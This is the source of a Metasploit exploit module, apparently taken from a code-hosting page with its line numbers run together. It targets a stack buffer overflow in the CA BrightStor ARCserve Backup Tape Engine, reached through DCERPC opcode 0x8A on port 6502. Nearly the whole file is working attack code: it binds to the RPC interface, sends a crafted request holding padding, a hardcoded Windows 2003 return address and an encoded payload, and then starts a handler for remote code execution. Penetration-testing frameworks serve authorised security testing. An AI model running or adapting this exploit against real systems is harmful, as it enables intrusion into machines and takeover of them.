Path: blob/master/modules/exploits/windows/brightstor/tape_engine_0x8a.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup17r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow18the buffer and execute arbitrary code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'OSVDB', '68330'],24[ 'URL', 'http://www.metasploit.com/users/mc' ],25],26'Privileged' => true,27'DefaultOptions' => {28'EXITFUNC' => 'thread',29},30'Payload' => {31'Space' => 500,32'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",33'StackAdjustment' => -3500,34},35'Platform' => 'win',36'Targets' => [37[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ],38],39'DisclosureDate' => '2010-10-04',40'DefaultTarget' => 0,41'Notes' => {42'Reliability' => UNKNOWN_RELIABILITY,43'Stability' => UNKNOWN_STABILITY,44'SideEffects' => UNKNOWN_SIDE_EFFECTS45}46)47)4849register_options([ Opt::RPORT(6502) ])50end5152def exploit53connect5455handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])56print_status("Binding to #{handle} ...")5758dcerpc_bind(handle)59print_status("Bound to #{handle} ...")6061request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"62request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"6364dcerpc.call(0x2B, request)6566sploit = NDR.long(4)67sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")6869print_status("Trying target #{target.name}...")7071begin72dcerpc_call(0x8A, sploit)73rescue Rex::Proto::DCERPC::Exceptions::NoResponse74end7576handler77disconnect78end7980end81=begin82/* opcode: 0x8A, address: 0x100707D0 */8384long sub_100707D0 (85[in] handle_t arg_1,86[in] long arg_2,87[in][ref][string] char * arg_388);89=end909192